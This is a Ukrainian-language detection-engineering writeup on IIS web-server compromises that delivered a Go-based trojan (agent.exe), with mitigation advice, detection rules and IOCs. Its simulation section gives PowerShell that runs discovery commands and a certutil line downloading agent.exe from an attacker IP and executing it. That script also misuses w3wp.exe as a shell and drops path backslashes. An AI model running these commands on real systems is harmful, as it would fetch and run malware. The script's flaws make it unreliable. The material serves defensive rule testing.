Спроба, Помилка та Описки: Чому Деякі Атаки Зловмисного ПЗ Не Такі «Софістиковані», Як Ви Думаєте
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
У статті описуються три окремі інциденти, де зловмисник використовував компрометовані веб-сервери IIS для завантаження та виконання троянця на базі Golang (agent.exe) на кінцевих точках жертв. Зловмисники повторно намагалися виконання, використовували certutil для отримання корисних навантажень, і пізніше додали винятки Windows Defender перед спробою встановити стійкість через службу Windows. Виявлення досягалося через EDR і Sysmon журнали, які зафіксували командні рядки, дерева процесів та мережеву активність. Атаки ілюструють, як противники адаптуються до захисних обходів замість того, щоб слідувати безпомилковому плану.
Розслідування
Аналітики Huntress вивчили журнали подій Windows, події Sysmon та журнали веб-сервера IIS для відновлення ланцюга атаки. Вони виявили початкове виконання веб-шелу через w3wp.exe, спостерігали помилково сформовані команди, повторні спроби доставки корисних навантажень та створення служби під назвою WindowsUpdate, яку не вдалося запустити. Було зібрано та корельовано різні індикатори, такі як шляхи до файлів, командні рядки та мережеві з’єднання, через три інциденти.
Пом’якшення
Ключові заходи пом’якшення включають посилення захисту серверів IIS, обмеження виконання веб-шелів, впровадження суворих списків дозволених застосунків, моніторинг аномального використання LOLBins, таких як certutil та PowerShell, і забезпечення того, щоб винятки Windows Defender не створювалися необґрунтовано. Також рекомендується швидка ізоляція компрометованих хостів і видалення інструментів, як-от GotoHTTP.
Відповідь
Після виявлення відповідальні повинні ізолювати постраждалу кінцеву точку, зібрати повні журнали процесів та мережевої активності, видалити всі шкідливі виконувані файли, відновити несанкціоновані винятки Windows Defender і перевірити збої в створенні служб. Проведіть ретельний огляд веб-сервера на предмет компрометованих сторінок та змініть усі компрометовані облікові дані.
Потік атаки
Виявлення
Атрибуція виконання для приховування файлів (через командний рядок)
Переглянути
Підозріле виконуване ім’я, що містить тільки числа (через командний рядок)
Переглянути
Підозрілі зміни налаштувань Windows Defender (через powershell)
Переглянути
Використання Certutil для кодування даних та операцій сертифікації (через командний рядок)
Переглянути
Підозрілі файли в загальному профілі користувача (через подію з файлом)
Переглянути
Підозріле виконання з загального профілю користувача (через створення процесу)
Переглянути
IOC (SourceIP) для виявлення: Trial, Error, and Typos: Чому деякі атаки шкідливого ПО не такі ‘складні’, як ви думаєте
Переглянути
IOC (HashSha256) для виявлення: Trial, Error, and Typos: Чому деякі атаки шкідливого ПО не такі ‘складні’, як ви думаєте
Переглянути
IOC (DestinationIP) для виявлення: Trial, Error, and Typos: Чому деякі атаки шкідливого ПО не такі ‘складні’, як ви думаєте
Переглянути
Виявлення зловмисних POST-запитів на веб-сервері [Webserver]
Переглянути
Виявлення виконання з командного рядка з процесу веб-сервера [Windows Process Creation]
Переглянути
Виконання симуляції
Передумова: Телеметрія та попередня перевірка бази повинні бути успішними.
Обґрунтування: У цьому розділі деталізується точне виконання техніки противника (TTP), призначеної для активації правила виявлення. Команди та наратив ПОВИННІ прямо відображати ідентифіковані TTP і прагнути генерувати точну телеметрію, очікувану логікою виявлення.
-
Наратив атаки та команди:
Зловмисник, який уже отримав можливість виконання коду на компрометованому сервері IIS, використовуєw3wp.exeпроцес (робітник IIS) для виконання серії проксі підписаних двійкових файлів. Спочатку зловмисники перераховують системний та мережевий стан (whoami.exe,netstat -an,ipconfig /all). Потім використовуютьcertutil.exeдля завантаження шкідливого корисного навантаження (agent.exe) з віддаленого сервера C2 та негайно виконують його в каталозі загального користувача. Усі команди виконуються черезcmd.exe /cзапущений у контекстіw3wp.exe, забезпечуючи відповідність події створення процесу умовам правила.# 1. Перерахування системної/користувацької інформації Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow # 2. Завантаження шкідливого корисного навантаження через certutil та його виконання $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow -
Сценарій регресійного тестування: Сценарій нижче автоматизує весь ланцюг атаки, відтворюючи точну телеметрію, яка повинна запустити правило Sigma.
<# .SYNOPSIS Імітує діяльність противника, що запускає правило Sigma "Виявлення виконання команд з процесу веб-сервера". .DESCRIPTION Виконує серію команд виявлення та завантаження-та-виконання з процесу робітника IIS (w3wp.exe). Запустіть на хості Windows, де увімкнено аудит створення процесу (Event ID 4688). #> # Функція для виклику команди через w3wp.exe function Invoke-W3wpCommand { param ( [Parameter(Mandatory=$true)] [string]$CmdLine ) Write-Host "Виклик через w3wp.exe: $CmdLine" Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null } # 1. Команди виявлення (MITRE T1033, T1016, T1069.001) $discoveryCommands = @( "whoami.exe", "netstat -an", "net user admin$", "ipconfig /all", "net localgroup administrators" ) foreach ($cmd in $discoveryCommands) { Invoke-W3wpCommand -CmdLine $cmd Start-Sleep -Seconds 2 } # 2. Шкідливе завантаження-та-виконання (MITRE T1218.004) $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Invoke-W3wpCommand -CmdLine $maliciousCmd -
Команди очищення: Видалити завантажене корисне навантаження та завершити всі зайві процеси.
# Видалити шкідливий двійковий файл агента Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue # За необхідності зупинити агента, якщо він ще працює Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force